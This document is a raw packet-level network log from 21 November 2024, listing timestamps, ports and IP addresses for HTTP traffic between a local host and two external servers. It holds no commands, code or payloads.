Nov 21, 2024 14:11:24.978147030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.978177071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.978281021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.978477001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.979250908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.979348898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.979513884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.980382919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.980509996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.980809927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.981535912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.981676102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.982656956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.982789993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.983803988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.983910084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.983937979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.984941006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.985040903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.985241890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.986136913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.986207962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.986969948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.987230062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.987356901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.987714052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.988359928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.988491058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.988610983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.989485025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.989541054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.989972115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.990596056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.993758917 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.993845940 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.993885040 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.993973970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.993983030 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.994040966 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.994041920 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.994054079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.994108915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.994108915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.994684935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.994744062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.994756937 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.994762897 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.994841099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.995655060 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.995667934 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.995678902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.995687008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.995721102 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.995759010 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.996072054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.996161938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.996174097 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.996249914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.996841908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.996942043 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.996953964 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.997050047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.997719049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.997730017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.997740984 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.997807026 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.997807980 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.998449087 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.998481989 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.998492956 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.998527050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.998595953 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.999219894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.999268055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.999279976 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.999300003 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.999347925 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.000070095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.000165939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.000277996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.000289917 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.000447989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.000803947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.000864029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.000875950 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.000895977 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.000963926 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.001586914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.001635075 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.001646042 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.001693964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.001693964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.002407074 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.002448082 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.002460957 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.002474070 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.002520084 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.002520084 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.003165960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.003205061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.003215075 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.003242970 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.003355026 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.003983021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.004049063 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.004060984 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.004081964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.004143000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.004760027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.004798889 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.004811049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.004827976 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.004878044 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.005660057 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.005695105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.005705118 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.005723000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.005783081 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.006396055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.006438017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.006450891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.006531954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.006531954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.007122993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.007188082 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.007199049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.007265091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.007265091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.007910967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.007970095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.007982016 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.008011103 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.008086920 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.008713961 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.008757114 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.008886099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.008929968 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.009354115 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.009485006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.009500027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.009540081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.009571075 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.009620905 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.010257006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.010324001 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.010329962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.010334969 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.010406017 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.011142015 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.011220932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.011357069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.011368036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.011378050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.011409998 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.011461973 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.012126923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.012145996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.012156963 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.012216091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.012242079 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.012940884 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.012979031 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.012989998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.013008118 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.013070107 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.013716936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.013751030 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.013762951 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.013782978 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.013844013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.014487028 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.014585018 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.014596939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.014616966 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.014648914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.014678001 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.015584946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.015597105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.015608072 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.015665054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.015665054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.016105890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.016207933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.016220093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.016230106 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.016273975 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.016273975 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.017198086 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.017271042 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.017283916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.017294884 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.017433882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.017677069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.017718077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.017729044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.017750978 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.017802954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.018460035 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.018522024 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.018529892 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.018534899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.018596888 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.019195080 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.019253016 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.019265890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.019349098 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.019349098 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.020019054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.020031929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.020042896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.020108938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.020108938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.020787954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.020850897 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.020941019 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.020947933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.021058083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.123143911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.123258114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.123452902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.123617887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.123729944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.124303102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.124730110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.125216007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.125258923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.125399113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.126316071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.126421928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.126437902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.127536058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.127576113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.127661943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.128603935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.128638983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.128662109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.129761934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.129882097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.129934072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.130877972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.130980015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.131057978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.132400990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.132493973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.132577896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.133259058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.133356094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.133392096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.134563923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.134618044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.134675026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.135716915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.135780096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.135818005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.136740923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.136890888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.136955976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.137765884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.137861967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.137906075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.138839006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.138921022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.139194965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.139983892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.140053988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.140099049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.141103983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.141184092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.141223907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.142235994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.142306089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.142374992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.143379927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.143482924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.143558025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.144588947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.144675970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.144702911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.145622015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.145740032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.145741940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.146801949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.146866083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.146930933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.147926092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.147989035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.148020983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.149082899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.149152994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.149188042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.150194883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.150336027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.150454044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.151309967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.151422024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.151627064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.152513027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.152642012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.152709007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.153698921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.153762102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.153848886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.155009031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.155060053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.155119896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.156064034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.156152010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.156230927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.157047987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.157110929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.157202005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.158179045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.158241034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.158268929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.159302950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.159375906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.159404039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.160420895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.160478115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.160581112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.161592007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.161616087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.161664963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.162719011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.162760019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.162796974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.163980961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.163995028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.164072037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.164998055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.165107965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.165154934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.166199923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.166352034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.166390896 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.167287111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.167392969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.167450905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.168471098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.168577909 CET	49903	80	192.168.2.6	34.116.198.130
